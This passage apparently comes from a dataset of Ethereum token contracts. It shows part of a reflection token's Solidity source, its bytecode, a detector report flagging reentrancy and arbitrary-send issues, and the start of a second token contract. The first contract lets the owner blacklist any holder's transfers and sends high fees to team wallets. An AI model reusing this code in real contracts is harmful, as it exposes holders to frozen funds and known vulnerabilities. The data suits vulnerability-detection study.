tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 5; _feeAddr2 = 10; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (45 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 5; _feeAddr2 = 20; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 100000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb1461031c578063b515566a14610359578063c3c8cd8014610382578063c9567bf914610399578063dd62ed3e146103b057610109565b806370a0823114610272578063715018a6146102af5780638da5cb5b146102c657806395d89b41146102f157610109565b8063273123b7116100d1578063273123b7146101de578063313ce567146102075780635932ead1146102325780636fc3eaec1461025b57610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103ed565b6040516101309190612aea565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b919061267c565b61042a565b60405161016d9190612acf565b60405180910390f35b34801561018257600080fd5b5061018b610448565b6040516101989190612c4c565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c3919061262d565b61045c565b6040516101d59190612acf565b60405180910390f35b3480156101ea57600080fd5b506102056004803603810190610200919061259f565b610535565b005b34801561021357600080fd5b5061021c610625565b6040516102299190612cc1565b60405180910390f35b34801561023e57600080fd5b50610259600480360381019061025491906126f9565b61062e565b005b34801561026757600080fd5b506102706106e0565b005b34801561027e57600080fd5b506102996004803603810190610294919061259f565b610752565b6040516102a69190612c4c565b60405180910390f35b3480156102bb57600080fd5b506102c46107a3565b005b3480156102d257600080fd5b506102db6108f6565b6040516102e89190612a01565b60405180910390f35b3480156102fd57600080fd5b5061030661091f565b6040516103139190612aea565b60405180910390f35b34801561032857600080fd5b50610343600480360381019061033e919061267c565b61095c565b6040516103509190612acf565b60405180910390f35b34801561036557600080fd5b50610380600480360381019061037b91906126b8565b61097a565b005b34801561038e57600080fd5b50610397610aca565b005b3480156103a557600080fd5b506103ae610b44565b005b3480156103bc57600080fd5b506103d760048036038101906103d291906125f1565b6110a6565b6040516103e49190612c4c565b60405180910390f35b60606040518060400160405280600981526020017f53686962616b696e670000000000000000000000000000000000000000000000815250905090565b600061043e61043761112d565b8484611135565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b6000610469848484611300565b61052a8461047561112d565b6105258560405180606001604052806028815260200161333360289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104db61112d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119059092919063ffffffff16565b611135565b600190509392505050565b61053d61112d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105c190612bac565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61063661112d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ba90612bac565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661072161112d565b73ffffffffffffffffffffffffffffffffffffffff161461074157600080fd5b600047905061074f81611969565b50565b600061079c600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a64565b9050919050565b6107ab61112d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610838576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082f90612bac565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f534b494e47000000000000000000000000000000000000000000000000000000815250905090565b600061097061096961112d565b8484611300565b6001905092915050565b61098261112d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0690612bac565b60405180910390fd5b60005b8151811015610ac657600160066000848481518110610a5a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610abe90612f62565b915050610a12565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b0b61112d565b73ffffffffffffffffffffffffffffffffffffffff1614610b2b57600080fd5b6000610b3630610752565b9050610b4181611ad2565b50565b610b4c61112d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bd090612bac565b60405180910390fd5b600f60149054906101000a900460ff1615610c29576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2090612c2c565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cbc30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce8000000611135565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d0257600080fd5b505afa158015610d16573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d3a91906125c8565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d9c57600080fd5b505afa158015610db0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dd491906125c8565b6040518363ffffffff1660e01b8152600401610df1929190612a1c565b602060405180830381600087803b158015610e0b57600080fd5b505af1158015610e1f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e4391906125c8565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ecc30610752565b600080610ed76108f6565b426040518863ffffffff1660e01b8152600401610ef996959493929190612a6e565b6060604051808303818588803b158015610f1257600080fd5b505af1158015610f26573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f4b919061274b565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506a52b7d2dcc80cd2e40000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611050929190612a45565b602060405180830381600087803b15801561106a57600080fd5b505af115801561107e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110a29190612722565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156111a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119c90612c0c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611215576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120c90612b4c565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112f39190612c4c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611370576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136790612bec565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d790612b0c565b60405180910390fd5b60008111611423576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141a90612bcc565b60405180910390fd5b6005600a81905550600a600b8190555061143b6108f6565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156114a957506114796108f6565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156118f557600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156115525750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61155b57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156116065750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561165c5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156116745750600f60179054906101000a900460ff165b156117245760105481111561168857600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106116d357600080fd5b602d426116e09190612d82565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156117cf5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156118255750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561183b576005600a819055506014600b819055505b600061184630610752565b9050600f60159054906101000a900460ff161580156118b35750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156118cb5750600f60169054906101000a900460ff165b156118f3576118d981611ad2565b600047905060008111156118f1576118f047611969565b5b505b505b611900838383611dcc565b505050565b600083831115829061194d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119449190612aea565b60405180910390fd5b506000838561195c9190612e63565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6119b9600284611ddc90919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156119e4573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611a35600284611ddc90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611a60573d6000803e3d6000fd5b5050565b6000600854821115611aab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aa290612b2c565b60405180910390fd5b6000611ab5611e26565b9050611aca8184611ddc90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611b30577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611b5e5781602001602082028036833780820191505090505b5090503081600081518110611b9c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611c3e57600080fd5b505afa158015611c52573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c7691906125c8565b81600181518110611cb0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611d1730600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611135565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611d7b959493929190612c67565b600060405180830381600087803b158015611d9557600080fd5b505af1158015611da9573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b611dd7838383611e51565b505050565b6000611e1e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061201c565b905092915050565b6000806000611e3361207f565b91509150611e4a8183611ddc90919063ffffffff16565b9250505090565b600080600080600080611e63876120ea565b955095509550955095509550611ec186600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461215290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f5685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461219c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611fa2816121fa565b611fac84836122b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516120099190612c4c565b60405180910390a3505050505050505050565b60008083118290612063576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161205a9190612aea565b60405180910390fd5b50600083856120729190612dd8565b9050809150509392505050565b6000806000600854905060006b033b2e3c9fd0803ce800000090506120bb6b033b2e3c9fd0803ce8000000600854611ddc90919063ffffffff16565b8210156120dd576008546b033b2e3c9fd0803ce80000009350935050506120e6565b81819350935050505b9091565b60008060008060008060008060006121078a600a54600b546122f1565b9250925092506000612117611e26565b9050600080600061212a8e878787612387565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061219483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611905565b905092915050565b60008082846121ab9190612d82565b9050838110156121f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121e790612b6c565b60405180910390fd5b8091505092915050565b6000612204611e26565b9050600061221b828461241090919063ffffffff16565b905061226f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461219c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6122cc8260085461215290919063ffffffff16565b6008819055506122e78160095461219c90919063ffffffff16565b6009819055505050565b60008060008061231d606461230f888a61241090919063ffffffff16565b611ddc90919063ffffffff16565b905060006123476064612339888b61241090919063ffffffff16565b611ddc90919063ffffffff16565b9050600061237082612362858c61215290919063ffffffff16565b61215290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806123a0858961241090919063ffffffff16565b905060006123b7868961241090919063ffffffff16565b905060006123ce878961241090919063ffffffff16565b905060006123f7826123e9858761215290919063ffffffff16565b61215290919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808314156124235760009050612485565b600082846124319190612e09565b90508284826124409190612dd8565b14612480576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161247790612b8c565b60405180910390fd5b809150505b92915050565b600061249e61249984612d01565b612cdc565b905080838252602082019050828560208602820111156124bd57600080fd5b60005b858110156124ed57816124d388826124f7565b8452602084019350602083019250506001810190506124c0565b5050509392505050565b600081359050612506816132ed565b92915050565b60008151905061251b816132ed565b92915050565b600082601f83011261253257600080fd5b813561254284826020860161248b565b91505092915050565b60008135905061255a81613304565b92915050565b60008151905061256f81613304565b92915050565b6000813590506125848161331b565b92915050565b6000815190506125998161331b565b92915050565b6000602082840312156125b157600080fd5b60006125bf848285016124f7565b91505092915050565b6000602082840312156125da57600080fd5b60006125e88482850161250c565b91505092915050565b6000806040838503121561260457600080fd5b6000612612858286016124f7565b9250506020612623858286016124f7565b9150509250929050565b60008060006060848603121561264257600080fd5b6000612650868287016124f7565b9350506020612661868287016124f7565b925050604061267286828701612575565b9150509250925092565b6000806040838503121561268f57600080fd5b600061269d858286016124f7565b92505060206126ae85828601612575565b9150509250929050565b6000602082840312156126ca57600080fd5b600082013567ffffffffffffffff8111156126e457600080fd5b6126f084828501612521565b91505092915050565b60006020828403121561270b57600080fd5b60006127198482850161254b565b91505092915050565b60006020828403121561273457600080fd5b600061274284828501612560565b91505092915050565b60008060006060848603121561276057600080fd5b600061276e8682870161258a565b935050602061277f8682870161258a565b92505060406127908682870161258a565b9150509250925092565b60006127a683836127b2565b60208301905092915050565b6127bb81612e97565b82525050565b6127ca81612e97565b82525050565b60006127db82612d3d565b6127e58185612d60565b93506127f083612d2d565b8060005b83811015612821578151612808888261279a565b975061281383612d53565b9250506001810190506127f4565b5085935050505092915050565b61283781612ea9565b82525050565b61284681612eec565b82525050565b600061285782612d48565b6128618185612d71565b9350612871818560208601612efe565b61287a81613038565b840191505092915050565b6000612892602383612d71565b915061289d82613049565b604082019050919050565b60006128b5602a83612d71565b91506128c082613098565b604082019050919050565b60006128d8602283612d71565b91506128e3826130e7565b604082019050919050565b60006128fb601b83612d71565b915061290682613136565b602082019050919050565b600061291e602183612d71565b91506129298261315f565b604082019050919050565b6000612941602083612d71565b915061294c826131ae565b602082019050919050565b6000612964602983612d71565b915061296f826131d7565b604082019050919050565b6000612987602583612d71565b915061299282613226565b604082019050919050565b60006129aa602483612d71565b91506129b582613275565b604082019050919050565b60006129cd601783612d71565b91506129d8826132c4565b602082019050919050565b6129ec81612ed5565b82525050565b6129fb81612edf565b82525050565b6000602082019050612a1660008301846127c1565b92915050565b6000604082019050612a3160008301856127c1565b612a3e60208301846127c1565b9392505050565b6000604082019050612a5a60008301856127c1565b612a6760208301846129e3565b9392505050565b600060c082019050612a8360008301896127c1565b612a9060208301886129e3565b612a9d604083018761283d565b612aaa606083018661283d565b612ab760808301856127c1565b612ac460a08301846129e3565b979650505050505050565b6000602082019050612ae4600083018461282e565b92915050565b60006020820190508181036000830152612b04818461284c565b905092915050565b60006020820190508181036000830152612b2581612885565b9050919050565b60006020820190508181036000830152612b45816128a8565b9050919050565b60006020820190508181036000830152612b65816128cb565b9050919050565b60006020820190508181036000830152612b85816128ee565b9050919050565b60006020820190508181036000830152612ba581612911565b9050919050565b60006020820190508181036000830152612bc581612934565b9050919050565b60006020820190508181036000830152612be581612957565b9050919050565b60006020820190508181036000830152612c058161297a565b9050919050565b60006020820190508181036000830152612c258161299d565b9050919050565b60006020820190508181036000830152612c45816129c0565b9050919050565b6000602082019050612c6160008301846129e3565b92915050565b600060a082019050612c7c60008301886129e3565b612c89602083018761283d565b8181036040830152612c9b81866127d0565b9050612caa60608301856127c1565b612cb760808301846129e3565b9695505050505050565b6000602082019050612cd660008301846129f2565b92915050565b6000612ce6612cf7565b9050612cf28282612f31565b919050565b6000604051905090565b600067ffffffffffffffff821115612d1c57612d1b613009565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612d8d82612ed5565b9150612d9883612ed5565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612dcd57612dcc612fab565b5b828201905092915050565b6000612de382612ed5565b9150612dee83612ed5565b925082612dfe57612dfd612fda565b5b828204905092915050565b6000612e1482612ed5565b9150612e1f83612ed5565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612e5857612e57612fab565b5b828202905092915050565b6000612e6e82612ed5565b9150612e7983612ed5565b925082821015612e8c57612e8b612fab565b5b828203905092915050565b6000612ea282612eb5565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612ef782612ed5565b9050919050565b60005b83811015612f1c578082015181840152602081019050612f01565b83811115612f2b576000848401525b50505050565b612f3a82613038565b810181811067ffffffffffffffff82111715612f5957612f58613009565b5b80604052505050565b6000612f6d82612ed5565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612fa057612f9f612fab565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6132f681612e97565b811461330157600080fd5b50565b61330d81612ea9565b811461331857600080fd5b50565b61332481612ed5565b811461332f57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122076e695173f2a0788ac41d72b56db1c4d3da3416b7a348f6d25359f3dc385f5d764736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
447
0x0bEf66a945c869a01c8ceCd5A4ab751383C4AEd4
/** *Submitted for verification at Etherscan.io on 2021-12-08 */ /** *Submitted for verification at Etherscan.io on 2021-10-17 */ //https://t.me/TheRouletteETH // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = 